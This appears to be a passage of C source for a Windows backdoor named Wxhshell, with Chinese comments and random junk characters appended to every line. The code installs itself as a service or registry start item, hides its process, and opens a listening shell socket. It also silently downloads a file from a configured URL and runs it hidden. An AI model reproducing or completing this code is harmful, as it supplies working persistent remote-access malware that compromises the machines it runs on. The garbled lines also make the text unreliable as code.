ULONG UniqueProcessId; 1KfJl S+
ULONG InheritedFromUniqueProcessId; -Hl\j(D7
} PROCESS_BASIC_INFORMATION; pZNlcB[Qn-
P7M0Ce~iW
PROCNTQSIP NtQueryInformationProcess; ^v()iF
!
\J#I}-a&j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^/4{\3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CJ37:w{%*Y
p;)klH@ X
HANDLE hProcess; 67EDkknt
PROCESS_BASIC_INFORMATION pbi; @pyA;>U
74</6T]^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^;v.ytO*
if(NULL == hInst ) return 0; *GY,h$Ul
@DjG?yLK$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t/4/G']W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !YuON6{)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qX}dbuDE"P
2l;ge>DJ
if (!NtQueryInformationProcess) return 0; LS?` {E
>xk:pL*o`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oQE_?">w
if(!hProcess) return 0; 3M5=@Fwkr
^$^Vd@t>a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c{r6a=C
l a6e`
CloseHandle(hProcess); NWq [22X
|
6Wcn(h8%*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s?z=q%-p
if(hProcess==NULL) return 0; oWn_3gzw;
D0"yZp}
HMODULE hMod; #&HarBxx
char procName[255]; )xXrs^
unsigned long cbNeeded; ./z"P]$
]MBJ"1F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TO8\4p*tE
2gNBPd )I
CloseHandle(hProcess); tF) k6*+
^!{ o Azy9
if(strstr(procName,"services")) return 1; // 以服务启动 t2U]CI%
*PA1iNdKS
return 0; // 注册表启动 c9F[pfi(
} bC>yIjCTn
~S~x@&yR
// 主模块 ESXU,
qK]v
int StartWxhshell(LPSTR lpCmdLine) ui: >eYv
{ }tg:DG
SOCKET wsl; Ix l"'Q_z
BOOL val=TRUE; v:so85(S<
int port=0; cUX]tiC0
struct sockaddr_in door; R&d_WB4w
}@t'rK[
if(wscfg.ws_autoins) Install(); i(TDJ@}
tI6USN%
port=atoi(lpCmdLine); }G0.Lq+a
Q{)F$]w
if(port<=0) port=wscfg.ws_port; CuGOjQ-k~
5>^ W}0s
WSADATA data; 67hPQ/S1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &bRxy`ZH
% /wP2O<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0zkT8'v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c&iK+qvh{
door.sin_family = AF_INET; 4FP~+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |'>E};D
door.sin_port = htons(port); ^?l-YnQqm?
"=0lcbC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .$T:n[@
closesocket(wsl); Yk*57&QI
return 1; 0OoO cc
} DG%%]
2ucsTh@
if(listen(wsl,2) == INVALID_SOCKET) { APOU&Wd
closesocket(wsl); *p<5(-J3
return 1; ($ 1<Dj:
} (2a"W`
Wxhshell(wsl); bm]dz;ljh
WSACleanup();
qCFXaj
pDnFT2
return 0; kJ5?BdvM&
u\& [@v
} SwmPP-n
T"0)%k8lJ
// 以NT服务方式启动 oKqFZ,m[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `EW_pwZPA
{
{83He@
DWORD status = 0; 1*Fvx-U'
DWORD specificError = 0xfffffff; ucm.~1G(
?;=Y1O7N(
serviceStatus.dwServiceType = SERVICE_WIN32; 9Z_OLai
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q@!H^hd}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =;?PVAdu%#
serviceStatus.dwWin32ExitCode = 0; 38.J:?Q
serviceStatus.dwServiceSpecificExitCode = 0; c#-97"_8
serviceStatus.dwCheckPoint = 0; z4%F2Czai&
serviceStatus.dwWaitHint = 0; W1,L>Az^Ts
|$-d,] V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -JW6@L@
if (hServiceStatusHandle==0) return; .j$bCKXGx
3'NL1d u
status = GetLastError(); 9;WOqBD
if (status!=NO_ERROR) :FgRe,D
{ sV4tu(~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2/o/UfYjgF
serviceStatus.dwCheckPoint = 0; W;9X*I8f8
serviceStatus.dwWaitHint = 0; 'f<_SKd
serviceStatus.dwWin32ExitCode = status; 8t
35j
serviceStatus.dwServiceSpecificExitCode = specificError; 8QgL7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !`Yi{}1_
return; 9Q5P7}%p
} Nk~dfY<s
wN0OAbtX'
serviceStatus.dwCurrentState = SERVICE_RUNNING; wk7_(gT`0
serviceStatus.dwCheckPoint = 0; hb\Y )HSp/
serviceStatus.dwWaitHint = 0; (dprY1noC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;77o%J'l
} .BB:7+
WHk/mAI-s
// 处理NT服务事件,比如:启动、停止 D{d$L9.
VOID WINAPI NTServiceHandler(DWORD fdwControl) COJ!b
{ Rm1` D
switch(fdwControl) CO+jB
{ ?cxK~Y\
case SERVICE_CONTROL_STOP: }4ju2K
serviceStatus.dwWin32ExitCode = 0; sWCm[HpG
serviceStatus.dwCurrentState = SERVICE_STOPPED; [<I
`slK
serviceStatus.dwCheckPoint = 0; zi&d
serviceStatus.dwWaitHint = 0; g#2X'%&+
{ 3jVm[c5%]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )'CEWc%
} ]|BSX-V.%i
return; MOeLphY
case SERVICE_CONTROL_PAUSE: hd
BC ^n
serviceStatus.dwCurrentState = SERVICE_PAUSED; A0k>Nb\c3
break; 1^>g>bn_"
case SERVICE_CONTROL_CONTINUE: E"yf!*
serviceStatus.dwCurrentState = SERVICE_RUNNING; r/<JY5
break; "4AQpD
case SERVICE_CONTROL_INTERROGATE: ^<Tp-,J$EN
break; G&H"8REm
}; QYb?;Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *w,gi.Y3
} ,DOmh<b
|6Z MxY
// 标准应用程序主函数 ? UDvFQ&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >RnMzH/9
{ F|K4zhK
A)\DPLAG
// 获取操作系统版本 0qUap*fvC
OsIsNt=GetOsVer(); 1}M.}G2u/
GetModuleFileName(NULL,ExeFile,MAX_PATH); meD (ja
`v{X@ x
// 从命令行安装 i*/U.'#
if(strpbrk(lpCmdLine,"iI")) Install(); E,:pIw
9o'6es..@Z
// 下载执行文件 F7l:*r,O
if(wscfg.ws_downexe) { .*7UT~o=CS
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OIT;fKl9
WinExec(wscfg.ws_filenam,SW_HIDE); kw}1 CXD
} 4^^rOi0
jch8d(`?d
if(!OsIsNt) { ay|{!MkQ
// 如果时win9x,隐藏进程并且设置为注册表启动 .4(f0RG
HideProc(); *03/:q ^(
StartWxhshell(lpCmdLine); v('d H"Y
} W>nb9Isp
else 5z>\'a1U
if(StartFromService()) I@M^Wu]wW
// 以服务方式启动 ][1u:V/
U
StartServiceCtrlDispatcher(DispatchTable); ]*U')
else r,KK%B
// 普通方式启动 -y.AJ~T
StartWxhshell(lpCmdLine); *v3
|
^eRT8I
return 0; AwrK82
} iCKwd 9?)
>MrU^t
v|2j~
R!qrb26k
=========================================== O3:
dOL/C
Dd O'
mhuaXbr
,?/<fxIY
%/on\*Vh3
e_-/p`9
" w5jZI|
mkA|gM[g7
#include <stdio.h> uJ\Nga<?
#include <string.h> `%p6i|
_Q
#include <windows.h> Zx 1z
hc
#include <winsock2.h> sR.j~R
#include <winsvc.h> .&